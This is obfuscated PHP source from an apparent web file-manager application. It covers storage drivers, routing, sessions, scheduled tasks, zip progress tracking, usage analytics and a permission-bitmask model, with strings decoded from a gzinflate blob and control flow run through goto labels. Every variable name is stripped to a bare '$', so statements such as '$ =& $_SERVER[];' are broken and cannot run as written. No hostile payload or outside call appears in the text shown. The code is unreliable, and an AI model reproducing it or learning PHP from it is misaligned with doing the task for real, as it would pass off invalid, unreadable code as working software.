($ && $[$[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[445]], array($[37] => 0)); } } } return $; } public function updateBackup($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[794])->config(); if ($[$[1675]] != $[90] || $[$[796]] != $) { return; } $ = Model($[815])->get($[825]); $ = json_decode($, !0); if (!$) { return; } $[$[796]] = $; Model($[815])->set(array($[825] => $)); } public function checkPwd($, &$) { $ =& $_SERVER[]; if (empty($[$[6]])) { return; } $ = json_decode($[$[6]], !0); $ = $[12]; $ = array($[2228], $[2229], $[940]); foreach ($ as $) { if (isset($[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($); $ = $[$]; $ = $[$]; if ($ == str_repeat($[205], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else { if ($ != $) { $[$[2227]] = $[90]; } } } public function checkConfig(&$, $ = false) { $ =& $_SERVER[]; $ = strtolower($[$[97]]); $ = json_decode($[$[6]], !0); foreach ($ as $ => $) { if (is_string($)) { $[$] = trim($); } } $[$[2230]] = rand_string(6); $ = $GLOBALS[$[6]][$[91]][$[871]]; $ = isset($[$]) ? $[$] : ucfirst($); $ = $[76] . $; if (!$ || !class_exists($)) { if ($) { return LNG($[2231]); } write_log(array($[2232], $, get_caller_info()), $[2233]); show_json(LNG($[2231]), !1, $); } $ = new $($); if (in_array($, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($[2234]); $ .= $[2235] . LNG($[2236]); if ($) { return $; } show_json($, !1); } } $ = rtrim($[$[1231]], $[8]) . $[8]; $ = $->getPath($ . $[1235]); if (!$->mkfile($)) { if ($) { return LNG($[2234]); } show_json(LNG($[2234]), !1); } $[$[1231]] = $; $[$[6]] = json_encode($); $[$[97]] = $; return !0; } public function driverListSystem() { $ =& $_SERVER[]; $ = parent::listData(); $ = array(); foreach ($ as $) { unset($[$[217]], $[$[87]]); $[$[6]] = json_decode($[$[6]], !0); $[] = $; } return $; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[445]); if (!isset($[$])) { return !1; } $ = $[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $) { $ =& $_SERVER[]; $ = array($[862] => $); $ = Model($[514])->where($)->count(); $ = Model($[514])->where($)->sum($[78]); $ = $ . $[2237] . $; $ = LNG($ == $[590] ? $[2238] : $[2239]); $ = new TaskFileTransfer($, $[2233], $, $ . "\50{$}\x29"); $->task[$[808]] = (double) $; $ = KodIO::defaultDriver(); $ = $[$[445]]; $ = "\173\151\x6f\72{$}\175\57"; $ = !0; $ = array(); $ = Model($[216])->where($)->field($[2240])->select(); foreach ($ as $) { $ = $[$[86]]; $ = $ . str_replace("\x7b\x69\x6f\72{$}\175\57", $[12], $); if (!IO::exist($)) { $[] = $[$[511]]; $->updateFileEnd($[$[32]], $[$[78]]); continue; } if (IO::exist($)) { $->updateFileEnd($[$[32]], $[$[78]]); continue; } if (!IO::move($, get_path_father($))) { $ = !1; break; } $ = array($[511] => $[$[511]]); $ = array($[862] => $, $[86] => $); Model($[216])->where($)->save($); } $this->removeByFileID($); if (!$) { $->stop($); return !1; } $->end(); if ($ == $[1873]) { $this->remove($); } } public function progress($, $) { return Task::get($ . $_SERVER[][2237] . $); } private function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[511] => array($[7], $)); $ = Model($[1384])->where($)->field($[183])->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[183]); foreach ($ as $) { Model($[460])->removeNow($, !1); } } private function removeShareItems($) { $ =& $_SERVER[]; $ = "\x7b\151\x6f\x3a{$}\x7d\x2f"; $ = array($[183] => 0, $[1226] => array($[429], "{$}\45")); $ = Model($[1884])->where($)->field($[635])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[635]); Model($[634])->remove($); } } goto d; A: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto E; e: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\x6e\171" => "\133\136\57\135\53", "\72\x6e\165\x6d" => "\133\x30\x2d\71\x5d\53", "\x3a\141\x6c\x6c" => "\56\52"); public static $errorCallback; public static function __callstatic($, $) { $ =& $_SERVER[]; if ($ == $[1641]) { $ = array_map($[1642], $[0]); $ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ = $[2]; } else { $ = null; $ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ = $[1]; } array_push(self::$maps, $); array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1643]], PHP_URL_PATH); $ = $_SERVER[$[162]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($[1327], $[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $) { if (self::$methods[$] == $ || self::$methods[$] == $[1644] || in_array($, self::$maps[$])) { $ = !0; if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explode($[1259], $); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[4]) !== !1) { $ = str_replace($, $, $); } if (preg_match($[1645] . $ . $[1646], $, $)) { if (self::$methods[$] == $ || self::$methods[$] == $[1644] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explode($[1259], $); $ = new $[0](); if (!method_exists($, $[1])) { echo $[1647]; } else { call_user_func_array(array($, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1648]] . $[1649]); echo $[1650]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1643]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $ = $GLOBALS[$[6]][$[395]]; self::$sessionTime = $[$[1651]]; $ = isset($GLOBALS[$[1652]]) ? $GLOBALS[$[1652]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $[$[1653]]; $ = $[$]; $ = $[$[873]]; switch ($) { case $[21]: self::$handle = Model($[874]); break; case $[875]: self::$handle = new CacheRedis($, $); break; case $[876]: self::$handle = new CacheMemcached($, $); break; case $[216]: $[$[86]] = $[$[86]] . $[1654]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $ = self::$handle->get($); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][879])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[795]) != $[90]) { return; } if (self::valueGet($[1655]) == $[90]) { $ = self::valueGet($[1656]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1655], $[90]); self::log($[1657] . ACTION . $[1658]); Hook::bind($[1659], $[1660]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[795]) != $[90]) { self::valueSet($[1655], $[214]); self::log($[1661]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($[1655] => $[90], $[1656] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1662])) { self::valueSet(array($[1655] => $[214], $[795] => $[214])); self::log($[1663]); die; } $ = file_get_contents(BASIC_PATH . $[1664]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($, $[1665]) . $[10] . match_text($, $[1666]); if ($ != $) { self::restart(); self::log("\x73\x74\157\x70\145\x64\56\133\166\x65\x72\163\151\x6f\x6e\x20\x75\x70\144\x61\x74\145\x3b{$versionNow}\40\75\x3e\40{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[]; http_close(); $GLOBALS[$[1667]] = 1; $_SERVER[$[1668]] = $[1669]; $_COOKIE = array(); $GLOBALS[$[1670]] = 1; $GLOBALS[$[1671]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[795], $[214]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1655] => $[214], $[795] => $[90])); self::log($[1672]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[795]) == $[90] ? $[214] : $[90]; self::valueSet($[795], $); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1655], $[214]); self::log($[1673]); } public static function config($, $) { self::valueSet($_SERVER[][795], $); } private static function taskRunAll() { $ =& $_SERVER[]; $ = timeFloat(); $ = Model($[1674])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$[$[445]] || $[$[1675]] != $[90]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($[1676]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $ = json_decode($[$[196]], !0); $ = intval($[$[1656]]); $ = strtotime($[1677] . $[$[1678]] . $[1679]) - strtotime($[1680]); $ = time() - strtotime(date($[1681]) . $[1682]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1683]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$[1683]] == date($[1684]) && $) { return !0; } break; case $[1685]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1686]) == 0 ? 7 : date($[1686]); if ($[$[1685]] == $ && $) { return !0; } break; case $[1678]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1687]: if (time() - $ >= floatval($[$[1687]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ = Model($[548])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1688], $[1689]); die; } } public static function taskRun($) { $ =& $_SERVER[]; self::log($[1690] . $[$[445]] . $[1691] . $[$[32]] . $[1692] . $[$[1693]]); Model($[1674])->run($[$[445]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[353]: $ = url_request($[$[1693]], $[247], !1, !1, !1, !1, 10); if ($[$[795]]) { $ = strlen($[$[1253]]); } break; case $[246]: $ = Hook::apply($[$[1693]]); default: break; } Model($[1694])->add(array($[1695] => $[12], $[1696] => $[214], $[33] => $[1697] . $[$[445]], $[1698] => json_encode(array($[32] => $[$[32]], $[1699] => timeFloat() - $, $[339] => $)))); $ = $ ? $[1700] . $ : $[12]; self::log($[1701] . $[$[445]] . $[167] . $); return !0; } public static function valueGet($) { $ =& $_SERVER[]; $ = $[1702]; $ = Model($[478])->get($, $); if (is_null($)) { Model($[478])->set($[795], $[90], $); Model($[478])->set($[1655], $[214], $); $ = Model($[478])->get($, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[]; $ = $[1703]; CacheLock::lock($); $ = Model($[478])->set($, $, $[1702]); CacheLock::unlock($); return $; } protected static function log($) { write_log($, $_SERVER[][1689]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[478])->cacheKey($[1702])); Cache::clearMemory(Model($[478])->cacheKey($[1704])); Model($[1674])->cacheClear(); self::closeDatabase(); } } goto C; C: define($_SERVER[][287], 1); define($_SERVER[][288], 0); define($_SERVER[][289], 2); goto C; A: define($_SERVER[][647], $_SERVER[][648]); $hrgwpjxies = $_SERVER[][649]; if (!$hrgwpjxies) { return; } goto D; A: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1830], array($this, $[1820])); Hook::bind($[1822], array($this, $[1823])); $ =& $this->task; $[$[1824]] = $[1245]; if (!$[$[1593]]) { $[$[1593]] = LNG($[1831]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1830], array($this, $[1820])); Hook::unbind($[1822], array($this, $[1823])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[831]] || !$[$[808]]) { return; } if ($[$[1824]] == $[1245]) { $ = $[$[1759]]; if ($[$[1760]] != $[1245]) { $ = 0; } $ = ($[$[1763]] + $) / $[$[808]]; $[$[1707]] = $ * 0.3; } else { if ($[$[1824]] == $[359]) { $ = $[$[1706]] / $[$[831]]; $[$[1707]] = 0.3 + $ * 0.5; } else { if ($[$[1824]] == $[109]) { $ = 0; if ($[$[1758]]) { $ = $[$[1759]] / $[$[1758]]; } $[$[1707]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1707]] > 0) { $ = timeFloat() - $[$[1709]] - $[$[1712]]; $[$[1713]] = $ * (1 - $[$[1707]]) / $[$[1707]]; } } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; parent::copyFileStart($, $, $, $, $, $); $ =& $this->task; if ($[$[1824]] == $[359]) { $[$[1824]] = $[109]; } $this->update(); } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1759]] = $[$[1758]]; $[$[1763]] += $[$[1758]]; $[$[1760]] = $[12]; $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1756]] = get_path_this($); $[$[1758]] = $; $[$[1759]] = $; $[$[1115]] = $ == $[1832] ? $[1827] : $[1828]; $[$[1760]] = $[12]; $[$[808]] = $; $[$[1824]] = $[359]; $this->update(); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1706]] < $[$[831]]) { $ = get_path_this($); if (strstr($, $[10])) { $[$[1706]] += 1; } } if ($[$[1824]] == $[1245]) { $[$[1824]] = $[359]; } $[$[1756]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $ = array($[632] => array($[33] => $[1833], $[319] => array($[241], $[810], $[1834], $[1835])), $[1836] => array($[33] => $[1837], $[319] => array($[241], $[808], $[1838], $[1839], $[1840]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[319]]; return !0; } public function listData($ = false, $ = "\x6d\x6f\144\x69\146\171\x54\x69\155\145", $ = false) { return parent::listData($, $, $); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $ = end($); $ = date($[1841], strtotime($[1842])); if ($[$[241]] == $) { return $; } $ = strtotime($[$[241]]); } if (!isset($)) { $ = $ == $[632] ? $[569] : $[870]; $ = Model($)->min($[217]); } $ = $[1843] . ucfirst($); $ = $this->dateList($); foreach ($ as $) { $this->{$}($); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[]; $ = $; $ = strtotime($[1842]); $ = array(); while ($ <= $) { $[] = date($[1841], $); $ = strtotime($[1844], $); } return $; } public function _recordUser($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1845], strtotime($))); $ = strtotime(date($[1846], strtotime($))); $ = array($[217] => array($[1064], $)); $ = Model($[569])->where($)->count($[1705]); $[$[217]] = array($[379], array($, $)); $ = Model($[569])->where($)->count($[1705]); $[$[33]] = $[1847]; $ = Model($[1848])->where($)->count($[1849]); $ = array($[241] => $, $[810] => (int) $, $[1834] => (int) $, $[1835] => (int) $); return $this->insert($); } public function _recordStore($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1846], strtotime($))); $ = array($[217] => array($[1064], $)); $ = Model($[514])->where($)->sum($[78]); $[$[455]] = 0; $ = Model($[870])->where($)->sum($[78]); $[$[180]] = 1; $ = Model($[870])->where($)->sum($[78]); $[$[180]] = 2; $ = Model($[870])->where($)->sum($[78]); $ = array($[241] => $, $[808] => (int) $, $[1838] => (int) $, $[1839] => (int) $, $[1840] => (int) $); return $this->insert($); } public function trend($, $) { $ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1678]) { $ = $[0][$[241]]; $ = $this->validDate($, $); $ = array(); $ = array_to_keyvalue($, $[241]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$[241]] = $; if ($ == $[632]) { $[$[1834]] = $[$[1835]] = 0; } } $[] = $; } $ = $; } $ = array($[632] => array($[810] => LNG($[1850]), $[1834] => LNG($[1851]), $[1835] => LNG($[1852])), $[1836] => array($[808] => LNG($[1853]), $[1838] => LNG($[1854]), $[1839] => LNG($[1855]), $[1840] => LNG($[1856]))); $ = array($[632] => $[1857], $[1836] => $[78]); if (empty($)) { $ = date($[1841], strtotime($[1842])); $ = array($[241] => $); foreach ($[$] as $ => $) { $[$] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ == $[1836] && $[$[1838]] > $[$[808]]) { $[$[1838]] = $[$[808]]; } foreach ($[$] as $ => $) { $ = array($[241] => $[$[241]], $[1593] => $); $[$[$]] = isset($[$]) ? $[$] : 0; $[] = $; } } return $; } public function validDate($, $) { $ =& $_SERVER[]; $ = date($[1841], strtotime($[1842])); $ = array($); switch ($) { case $[1685]: $ = mktime(0, 0, 0, date($[1858]), date($[1412]) - date($[1477]) + 7 - 7, date($[1859])); $ = 0; do { $ = date($[1841], $ - 3600 * 24 * 7 * $); $[] = $; $++; } while ($ < $); break; case $[1683]: $ = 1; do { $ = date($[1860], strtotime("\x2d\x20{$}\40\x6d\157\x6e\164\150\163")); $[] = $; $++; } while ($ < $); break; case $[1861]: $ = (int) date($[1859], strtotime($)); $ = (int) date($[1859]); if ($ >= $) { break; } for ($; $ < $; $++) { $[] = $ . $[1862]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ = $_SERVER[][1863] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ = Model($[569])->count($[1705]); $ = Model($[569])->where($[1864])->count($[1705]); $ = intval($GLOBALS[$[6]][$[395]][$[1651]]) / 3600; $ = strtotime("\x2d{$}\x20\x68\x6f\x75\x72\163"); $ = strtotime(date($[1845])); if ($ < $) { $ = $; } $ = array($[1865] => array($[1065], $)); $ = (int) Model($[569])->where($)->count($[1705]); if (!$) { $ = 1; } $ = array($[1865] => array($[1065], $)); $ = Model($[569])->where($)->count($[1705]); return array($[803] => (int) $, $[1866] => (int) ($ - $), $[1867] => (int) $, $[1868] => (int) $, $[1869] => $); } private function optionFile() { $ =& $_SERVER[]; $ = $this->sourceSize(); $ = $[$[78]]; $ = $[$[1838]]; $ = Model($[870])->where(array($[455] => 0))->count($[183]); $ = array($[455] => 0, $[217] => array($[1065], strtotime(date($[1845])))); $ = Model($[870])->where($)->sum($[78]); $ = Model($[870])->where($)->count($[183]); return array($[808] => $, $[1838] => $, $[1870] => $ - $, $[1871] => (int) $, $[810] => (int) $, $[1872] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[803] => $this->typeLogCnt(), $[109] => $this->typeLogCnt($[109]), $[495] => $this->typeLogCnt($[495]), $[1873] => $this->typeLogCnt($[1873]), $[1874] => $this->typeLogCnt($[1874]), $[632] => $this->typeLogCnt($[12], $[1849])); } private function typeLogCnt($ = '', $ = "\151\x64") { $ =& $_SERVER[]; $ = array($[109] => array($[1875], $[1876]), $[495] => array($[1877], $[1878]), $[1873] => array($[1879], $[1880], $[1881]), $[1874] => array($[1882], $[1883]), $[1884] => array($[1885], $[1886], $[1887])); $ = strtotime(date($[1845])); $ = array($[217] => array($[1065], $)); if ($) { $[$[33]] = array($[7], $[$]); } $ = Model($[1848])->where($)->count($); return (int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($[862] => $[$[445]]); $ = Model($[514])->where($)->sum($[78]); $ = explode($[53], $_SERVER[$[146]]); $ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1027]]; if ($ == $[1015]) { $ = explode($[1333], $[$[1026]]); $ = $[0]; } if ($ == $[963] || $ == $[849]) { $ = Model()->db()->query($[1888]); $ = $[0] && isset($[0][$[1592]]) ? $[0][$[1592]] : 0; $ = $[1889] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[395]][$[872]]; return array($[1890] => $ ? $[$[1891]] : 0, $[1892] => $ ? $[$[1893]] : 0, $[1894] => (int) $[$[1891]] * 1024 * 1024 * 1024, $[1895] => (int) $, $[1896] => ucfirst($), $[1897] => $[1898] . PHP_VERSION, $[1899] => phpBuild64() ? 64 : 32, $[802] => str_replace($[1181], $[1043], $), $[395] => ucfirst($), $[32] => $_SERVER[$[1900]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ = $GLOBALS[$[6]][$[1350]] == $[1351]; if ($) { $ = $[1901]; if (function_exists($[1902])) { exec($[1903], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $ = $ - @disk_free_space($); return array($[1891] => $, $[1893] => $); } public function fileChart($) { $ =& $_SERVER[]; if (isset($[$[1705]])) { return Model($[870])->userFileTypeProfile($[$[1705]]); } if (isset($[$[1904]])) { return Model($[870])->groupFileTypeProfile($[$[1904]]); } $ = $this->sourceSize(); $ = array($[182] => 0, $[180] => 1); $ = Model($[870])->where($)->sum($[78]); $[$[180]] = 2; $ = Model($[870])->where($)->sum($[78]); return array($[808] => $[$[78]], $[1838] => $[$[1838]], $[1839] => (int) $, $[1840] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[870])->where(array($[455] => 0))->sum($[78]); $ = Model($[514])->sum($[78]); if ($ > $) { $ = $; } return array($[78] => (int) $, $[1838] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $ = array(array($[464] => LNG($[1905]), $[1906] => $[1907], $[1908] => 1, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[464] => LNG($[1911]), $[1906] => $[1912], $[1908] => 2, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[464] => LNG($[1913]), $[1906] => $[1914], $[1908] => 3, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[464] => LNG($[1915]), $[1906] => $[1916], $[1908] => 4, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW), array($[464] => LNG($[1917]), $[1906] => $[1918], $[1908] => 5, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[464] => LNG($[1919]), $[1906] => $[1920], $[1908] => 6, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[464] => LNG($[1921]), $[1906] => $[1922], $[1908] => 7, $[1909] => 1, $[1910] => 0)); return $; } public static function authCheck($, $) { $ =& $_SERVER[]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$[6]][$[1923]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, $) { $ =& $_SERVER[]; $ = array($[1924] => self::AUTH_VIEW, $[1245] => self::AUTH_DOWNLOAD, $[109] => self::AUTH_UPLOAD, $[1874] => self::AUTH_EDIT, $[1873] => self::AUTH_REMOVE, $[1884] => self::AUTH_SHARE, $[400] => self::AUTH_COMMENT, $[1693] => self::AUTH_EVENT, $[1925] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ = $[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "\x53\x79\163\x74\145\x6d\x2e\163\157\165\162\143\145\x41\x75\x74\x68\x4c\151\x73\x74"; public $field = array("\x6e\141\155\145", "\141\x75\x74\150", "\154\141\x62\145\x6c", "\x64\x69\163\x70\x6c\x61\171", "\x73\x79\x73\x74\x65\155", "\163\157\x72\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[457]]); if ($ <= 0 || $[$[1926]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$[445]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[457]] <= 0 || $[$[1926]] == $[214]) { continue; } if (!$) { $ = $; continue; } if ($[$[457]] > $[$[457]]) { $ = $; } } return $ ? $[$[445]] : $[12]; } public function listData($ = false, $ = "\163\157\x72\x74", $ = false) { return parent::listData($, $, $); } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } $this->filterAuth($[$[457]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][181]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[457] => 1, $[1927] => $[1914], $[1926] => 1, $[181] => 0, $[1928] => 0); $ = array_merge($, $); $[$[1928]] = $this->getSort(); $this->filterAuth($[$[457]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } private function 